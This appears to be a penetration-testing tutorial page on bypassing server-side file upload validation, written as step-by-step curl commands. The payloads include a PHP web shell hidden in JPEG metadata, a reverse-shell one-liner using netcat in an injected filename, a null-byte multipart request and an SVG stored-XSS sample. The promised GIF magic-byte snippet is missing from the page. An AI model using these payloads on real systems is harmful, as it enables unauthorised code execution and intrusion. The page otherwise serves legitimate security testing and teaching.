# File Upload Validation Testing

> Tests server-side file upload controls for bypass vulnerabilities including MIME spoofing, extension manipulation, and malicious payload delivery via multipart requests.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/file-inclusion/file-upload-testing
- **Path:** HTTP/HTTPS > Vulnerability Discovery > File inclusion
- **Up:** [File inclusion](https://hackindex.io/services/web/vulnerability-discovery/file-inclusion.md)
- **Published:** 2026-01-23
- **Updated:** 2026-04-24

The goal is to confirm whether a file upload endpoint can be forced to store and serve a file that executes server-side code. This page covers identifying what validation is in place and which bypasses work. Exploitation once a bypass is confirmed is covered in [File Upload Exploitation](https://hackindex.io/services/web/exploitation/file-inclusion/file-upload-exploitation).

## Baseline Behaviour First

Before testing any bypass, upload a clean benign file and record what the application does with it. Use Burp Suite to capture the full request and response.

Note:

- The allowed extensions based on what the server accepts
- The storage path from the response or reflected URL
- The Content-Type header the server expects
- Whether files are served directly at a predictable URL
- Whether images are re-encoded or stripped of metadata on upload

```bash
curl -s -F "file=@test.jpg" http://$TARGET_IP:$PORT/upload.php -v
```

If the response includes a path like `/uploads/test.jpg`, confirm the file is directly accessible and served with its original content:

```bash
curl -sI http://$TARGET_IP:$PORT/uploads/test.jpg
curl -s http://$TARGET_IP:$PORT/uploads/test.jpg | head -5
```

If the server re-encodes or serves through a controller that strips content, file-based shell delivery becomes much harder. Switch to attacking the upload logic itself.

## Extension Bypass

Try uploading a PHP shell with alternative extensions. Many filters block `.php` but not its variants:

```
.php .php3 .php4 .php5 .php7 .phtml .phar .inc .phps

```

For ASP/ASPX targets:

```
.asp .aspx .ashx .asmx .cer .asa .aspq

```

Test each with a minimal PHP identification payload first, not a full shell:

```bash
echo '<?php echo "EXEC_TEST_" . phpversion(); ?>' > testshell.phtml
curl -s -F "file=@testshell.phtml" http://$TARGET_IP:$PORT/upload.php
```

Then request the uploaded file and check for the string in the response:

```bash
curl -s http://$TARGET_IP:$PORT/uploads/testshell.phtml | grep EXEC_TEST
```

If you get output containing a PHP version number, the server is executing the file.

## Double Extension

Some filters only check the last extension, others only the first. Test both orderings:

```
shell.php.jpg
shell.jpg.php
shell.php.png
shell.png.php5
```

```bash
echo '<?php echo "EXEC_TEST"; ?>' > shell.php.jpg
curl -s -F "file=@shell.php.jpg" http://$TARGET_IP:$PORT/upload.php
```

The server may store the file with a different name. Capture the exact path from the response.

## Content-Type Spoofing

Some applications validate the `Content-Type` header in the request rather than the file content. Change the header while keeping the PHP payload:

```bash
curl -s -X POST http://$TARGET_IP:$PORT/upload.php -F "file=@shell.php;type=image/png"
```

Or build the request manually:

```bash
curl -s -X POST http://$TARGET_IP:$PORT/upload.php \
  -H "Content-Type: multipart/form-data; boundary=BOUNDARY" \
  --data-binary $'--BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/png\r\n\r\n<?php echo "EXEC_TEST"; ?>\r\n--BOUNDARY--'
```

## Magic Byte Bypass

Applications using `getimagesize()` or `finfo` check file content rather than the header. Prefix the PHP payload with a valid image magic byte sequence to pass these checks.

GIF signature (most reliable, smallest):

Using exiftool to embed PHP into a real JPEG comment field:

```bash
exiftool -Comment='<?php system($_GET["cmd"]); ?>' benign.jpg -o shell.jpg
curl -s -F "file=@shell.jpg" http://$TARGET_IP:$PORT/upload.php
```

Note that modern applications often re-encode images on upload, which strips injected content. If the server re-processes images, exiftool injection will not survive.

## Null Byte Bypass

On PHP versions below 5.3.4, a null byte in the filename truncates the string at the filesystem level. The application sees `shell.php%00.jpg` as a `.jpg`, but PHP stores it as `shell.php`:

```bash
curl -s -X POST http://$TARGET_IP:$PORT/upload.php \
  --data-binary $'--BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="shell.php\x00.jpg"\r\nContent-Type: image/jpeg\r\n\r\n<?php echo "EXEC_TEST"; ?>\r\n--BOUNDARY--' \
  -H "Content-Type: multipart/form-data; boundary=BOUNDARY"
```

This only applies to very old PHP installs. Test it after other bypasses fail.

## Filename Command Injection

If the application uses the uploaded filename in a shell command (image conversion, thumbnail generation, virus scanning), the filename itself becomes an injection point:

```bash
curl -s -F 'file=@test.jpg;filename=test.jpg;id' http://$TARGET_IP:$PORT/upload.php
```

Watch for out-of-band execution or unusual errors. A connect-back payload in the filename:

```bash
curl -s -F "file=@test.jpg;filename=test\$(nc $LHOST $LPORT -e /bin/sh).jpg" http://$TARGET_IP:$PORT/upload.php
```

This is rare but appears in CTF-style targets and applications that shell out to ImageMagick or similar tools without sanitising the filename.

## SVG Upload for XSS

SVG files are XML and can contain JavaScript. If the application serves uploaded SVGs with `Content-Type: image/svg+xml` or `text/html`, this enables stored XSS or, in some configurations, SSRF through XML entity processing:

```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert(document.domain)</script>
</svg>
```

Save as `test.svg` and upload. If the application serves it and it executes in the browser, this confirms stored XSS via upload.

## Interpreting Results

If any extension, content-type, or magic byte bypass allows a file to be stored and served with executable content, the vulnerability is confirmed. Move to [File Upload Exploitation](https://hackindex.io/services/web/exploitation/file-inclusion/file-upload-exploitation) to get a shell.

If uploads are accepted but the file is not served at a predictable URL, look for path disclosure in error messages, the source code, or directory enumeration results.

## References

- [PortSwigger Web Security Academy: File Upload Vulnerabilities](https://portswigger.net/web-security/file-upload) - Covers validation bypass techniques and exploitation paths
- [PayloadsAllTheThings: Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files) - Comprehensive bypass payload reference including extension lists and polyglot samples
